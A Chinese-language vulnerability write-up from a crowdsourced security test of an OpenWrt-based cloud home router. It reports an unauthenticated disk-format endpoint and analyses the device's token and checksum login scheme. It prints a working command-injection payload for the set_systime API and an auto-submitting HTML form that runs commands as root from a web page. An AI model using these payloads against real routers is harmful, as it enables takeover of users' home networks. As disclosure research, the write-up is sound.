對某創新路由的安全測試

0x00 題外話

---

很榮幸能夠參加烏雲的眾測，之前一直都是以旁觀者的身份在烏雲Zone裡頭圍觀的，也感謝Insight Labs&烏雲的基友給了我這次參加測試的機會。可以說這次整體測試下來，有成功，也有失敗，可謂是收益良多。接下來我就把我這次測試的經驗和大家分享一下。本人技術有限，如有遺漏和不足，敬請大家多多指教。

0x01 測試背景

---

本次眾測的題目是叫做“某創新應用安全眾測”，一看到這個標題，一種神秘的感覺油然而生，把創新和安全聯絡起來，感覺就比較帶勁兒了。根據以往的測試經驗，一個新產品與老產品相比，往往可能存在更多的漏洞，創新也給我們白帽子提供了很好的發現漏洞的機會。其實本次測試的產品，在此之前確實比較少見，不過最近網際網路上又有好幾個廠家在推這類產品。它是一款基於雲平臺的家庭路由器產品，官方對它的描述是“可安裝APP的路由器，功能無限擴充套件，極客為您定製開發！”，把APP的概念引入到路由器上，讓路由器的功能更加的豐富，也是一種趨勢所在。不過個人感覺，涉及到雲平臺的東西，一旦安全性出現問題，就將給使用者帶來巨大的影響，所以廠商花大力氣在產品安全上下工夫，也是對使用者負責的體現。

0x02 測試方向

---

本次測試的產品分為兩個方面，一個是雲端伺服器的安全，另外一個就是路由器本身的安全。 雲端伺服器的安全相信大家比較都熟悉，主要就是對網站常見的漏洞、網站邏輯問題和伺服器安全進行測試，這裡我就不再做過多的表述。本文的重點主要放在對路由器本身的安全測試上。

0x03 驗明真身

---

收到路由器後，我迫不及待的為他寬衣解帶，取出真身，插上電源，進行連線。連線上管理介面以後，發現UI做的十分精緻，登陸之後使用FireBug抓包檢視其請求的地址，具體如圖所示： 

玩過OpenWrt的同學應該十分熟悉這串字元，它是登陸後系統所賦予的一個會話令牌，用於驗證使用者是否登陸的。於是，我就聯想到，這款基於雲平臺的智慧路由器，是不是就是基於OpenWrt二次開發的呢？如果使用OpenWrt進行開發的話，是不是就有可能開啟SSH連線埠？最終我的猜想得到了證實，我在雲外掛當中找到了工程模式外掛，進行了安裝，之後使用NMAP對路由器進行埠掃描，掃描結果如圖所示： 

發現路由器的SSH埠已經開啟了，於是使用SSH進行連線，輸入帳號密碼，如圖所示，連線成功！ 

既然這是一款基於OpenWrt二次開發的產品，一般web介面都是使用lua進行開發，然而lua語言是一款指令碼語言，可以直接檢視其原始碼來對其進行漏洞分析。既然這樣，我們就可以透過SFTP下載韌體當中的lua原始碼，透過黑白盒測試的結合，來更加快速的發現問題。 但是，透過連線測試，發現SFTP服務並未被安裝，於是執行以下兩條命令進行安裝：

opkg update
opkg install vsftpd openssh-sftp-server

執行後，系統出現以下提示： 

系統提示找不到vsftpd和openssh-sftp-server這兩個軟體包，仔細一看，opkg的更新軟體源為https://upgrade.turboer.com，而不是OpenWrt預設的http://downloads.openwrt.org/snapshots/trunk/ar71xx/packages，可見廠商把更新源修改成了自己的伺服器地址，並且該地址並不包含這兩個軟體包。 解決這個問題的辦法很簡單，只要使用vim命令，編輯替換/etc/opkg.conf檔案當中的相關內容，就可以將軟體包安裝地址指向官網的地址了。 修改之後，重新執行以下命令，就可以啟動SFTP服務了！

opkg update
opkg install vsftpd openssh-sftp-server
/etc/init.d/vsftpd enable
/etc/init.d/vsftpd start

0x04 下載原始碼

---

根據以往對OpenWrt的研究經驗，知道OpenWrt的Web介面原始碼是儲存在/usr/lib/lua目錄下，於是，使用FileZilla將該目錄下的所有檔案都下載到本地，以便分析。如圖所示。 

0x05 分析原始碼

---

由於之前對lua語言研究的也不多，所以這回也只能夠硬著頭皮的來翻原始碼。經過了一段時間的檢視以後，發現該路由器Web介面大量採用Ajax技術來呼叫API介面，而主要功能實現程式碼也就是在這些API介面上，這些API介面的程式碼則是在/usr/lib/lua/luci/controller/api/下的lua檔案當中實現，如圖所示。 

首先，我對這些程式碼的使用者驗證機制進行了分析，在分析後發現，API中的每個功能都在lua檔案的頭部進行定義，其中有一個很重要的引數就是控制是否需要使用者驗證透過才能訪問該介面，具體程式碼如圖： 

這些以entry開頭的程式碼，就是對功能函式進行定義，經過測試，如果最後一個引數如果為true，就意味著該介面無需使用者登陸即可訪問！ 由於需要驗證的介面採用URL中的stok引數和Cookie中的stok欄位來進行驗證，這種驗證方式由於URL中的stok引數無法預測，從而避免了CSRF和XSS攻擊。從危害性上來考慮，無需驗證的介面存在漏洞，將直接影響到路由器以及客戶端計算機的安全。 基於以上幾方面的原因，我們著重對這些無需使用者登陸即可呼叫的介面進行測試。

0x06 遠端命令執行漏洞

---

經過了全面的閱讀原始碼，發現程式碼當中大量使用fork_exec、os.execute、luci.sys.call、luci.util.execi等函式，來呼叫一些系統命令。這類函式在PHP、JSP、.NET程式碼審計當中，一度被列為危險函式。因為這類函式一旦過濾不嚴格，將使用者輸入的非法內容帶入，將直接繼承web服務的許可權來執行有害的系統指令。在OpenWrt當中，Web服務的執行許可權為ROOT！ 所以，一旦無需使用者登陸即可呼叫的介面當中存在這類的漏洞，攻擊者即可構造惡意頁面，遠端執行任意命令！本地區域網攻擊者也可以直接提交相應的資料，來獲取路由器的許可權！ 於是，我採用正規表示式來對這些危險函式進行查詢，分析其是否有可能執行使用者帶入的危險引數，終於，在system.lua -> set_systime() 函式當中，發現了問題。該函式具體程式碼如圖： 

該API介面從客戶端以POST方式接收date、h、mi、s這是個值，並且沒有經過任何過濾，就放到了luci.util.execi函式當中執行，透過構造date、h、mi、s其中任意值，都可執行任意系統命令，攻擊程式碼如下： 向

http://192.168.199.1/cgi-bin/turbo/api/system/set_systime

頁面post以下資料：

date=1&h=1&mi=1&s=1'%3Bid>/tmp/aa.txt%3B'

就會在/tmp/目錄下生成aa.txt，其內容為id命令執行後的結果

uid=0(root) gid=0(root)

遠端攻擊著可以構造自動POST的js程式碼，使用xss或者誘騙方式讓使用者訪問，以達到遠端攻擊的效果。 攻擊程式碼如下：

<form id='exp' action='http://192.168.199.1/cgi-bin/turbo/api/system/set_systime' method='post'>
    <input name='date' value='1'>

    <input name='h' value='1'>
    <input name='mi' value='1'>
    <input name='s' value="1';id>/tmp/exp.txt;'">

    <input type=submit>
</form>
<script>exp.submit();</script>

0x07 遠端重啟路由，清空快閃記憶體資料漏洞

---

該路由產品本身自帶8G的儲存空間，該儲存空間可以為將來一些離線下載的APP提供儲存。但是，在system.lua當中，存在format_disk()函式，該函式的功能是格式化儲存空間並且重啟路由器。最重要的是，該函式無需使用者認證即可訪問，可被遠端攻擊者和區域網攻擊者所利用。其具體程式碼如圖： 

該函式在entry當中設定了true引數，允許未登入進行訪問，在程式碼的12行中設定了強制格式化儲存空間的標記，並且在22行當中執行重新啟動的程式碼，系統在重啟後將清空儲存空間當中的資料。

0x08 對雲平臺自動登陸機制的分析

---

在對路由器的分析過程當中，發現APP應用的控制中心實際上並不存在於路由器當中，而是透過點選路由器管理介面上的雲外掛按鈕，來自動跳轉並登陸到app.hiwifi.com上的雲平臺來進行管理的。 在點選管理介面上的雲外掛按鈕後，系統會跳轉到一箇中繼頁面。這個中繼頁面主要實現三個功能：一、檢查路由器是否正常聯網。二、從雲端獲取Token。三、使用第二步獲取的Token登入雲平臺。具體程式碼如圖所示： 

分析到這裡，大家可能會想，這個token是如何獲取的？有沒有可能偽造呢？同樣，我也被這個問題吸引住了，於是便有了下面的分析。

token的產生步驟

從上圖中可以分析得出，api/passport/bind_token_v2這個函式的功能就是就是獲取登入token，我們調出具體的程式碼來看一下，程式碼如圖所示： 

從圖中可以看到，是auth.get_token("passport")產生了用於登入的token，但是經過一段時間的分析，發現auth模組並不存在於lua原始碼當中，而是以動態連結庫的形式存在，來供系統呼叫的。 透過查詢，發現auth函式庫存在於/usr/lib/libauth.so，果斷把它下載下來，進行下一步的分析。

對token的產生機制進行分析

由於libauth.so是一個Linux下的動態連結庫，那麼我們就請出大名鼎鼎的IDA來對其進行逆向。 將libauth.so拖入IDA主介面，IDA馬上識別出了檔案型別，其型別為ELF for MIPS （Shared object）。點選OK進行進一步的逆向分析。 由於檔案體積不大，IDA很快的就講程式碼逆向出來 ，如圖所示。 

在IDA的左側視窗，我們可以看到這個動態連結庫匯出的所有函式，由於我們想要取得token的演算法，根據函式名，我們很快就判斷，auth_get_token_v2為生成token的函式。 跟進函式內部，發現反彙編的程式碼為MIPS的組合語言，一下子就暈了。不過仔細一看，還是有一些明顯的函式呼叫，可以大概猜測出token的產生流程。具體反彙編程式碼如圖。 

透過上圖的逆向結果並結合網路抓包可以發現，程式是透過向

https://auth.turboer.com/token?app=market&checksum=e3e2cc483211eabdca40dd792f74fab3&name=D4EE07XXXXXX&cnonce=1542612125&[email protected]

地址提交請求所獲取到Token的，本次請求主要包含幾個關鍵欄位：checksum（校驗和）、name（裝置MAC地址）、cnonce（本地產生的隨機數）、nonce（請求https://auth.turboer.com/nonce所獲取的隨機數）。

那麼分析到這裡，大家就會想到，是不是可以透過把name引數更改成別人的MAC地址（MAC地址可以透過一些無需登入即可訪問的介面得到，如api/system/get_info），從而來登入別人的雲平臺控制中心呢？同樣，我也想到了這個問題。不過，根據以往的經驗來看，checksum欄位的作用，是用來校驗提交的欄位是否被更改。所以，要修改name的值，必須要能夠找出checksum的演算法，才能夠構造出讓伺服器接受的請求。

對checksum的產生機制進行分析

在剛剛的IDA逆向分析結果當中，找到了gen_checksum函式，雙擊對其程式碼進行檢視，函式主要程式碼如圖所示。

透過對gen_checksum的分析，發現其中還呼叫了tw_get_uuid()函式，利用該函式取得的值，來參與校驗碼的生成。那麼這個tw_get_uuid()函式取得的值是什麼呢？由於libauth.so的tw_get_uuid()為匯出函式，那麼我們可以透過python來直接呼叫該函式，取得返回值，來看看這到底是個什麼東西。 我在路由器上安裝了Python，並寫了一段程式碼，直接呼叫該函式，並列印返回值，具體程式碼如下：

from ctypes import*
auth=CDLL("libauth.so")
uuid = c_char_p("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
auth.tw_get_uuid(uuid)
print uuid.value

執行後結果如圖：

從圖中可以看出，uuid像是裝置的序列號。

Token產生機制的安全性總結

從以上的分析結果可以看出，checksum的計算是根據uuid和MAC等引數共同計算得出的，由於每臺裝置的uuid並不相同，所以即使得到對方的MAC地址，也無法透過偽造請求來進行利用。這種多因素校驗的機制，極大的保障了雲平臺使用者的安全。

0x09 結束語

---

從本次測試的結果來看，該創新型家庭路由產品在安全方面總體還是值得肯定的，主要體現在其產品架構方面充分的考慮到了對之前在其他路由產品存在的CSRF攻擊進行防禦，並設計了一套較為安全的Token認證機制，用於雲平臺與本地路由裝置的連線。由此可以看出廠商在產品安全方面還是下了比較大的功夫。但是，從反映出來的一些安全問題上來看，產品還存在著一些介面許可權控制不嚴格，沒有進行傳參過濾的問題。希望本次的測試結果能夠為將來廠商對產品的改進提供一定的幫助，讓廣大網友用上更好更安全的產品。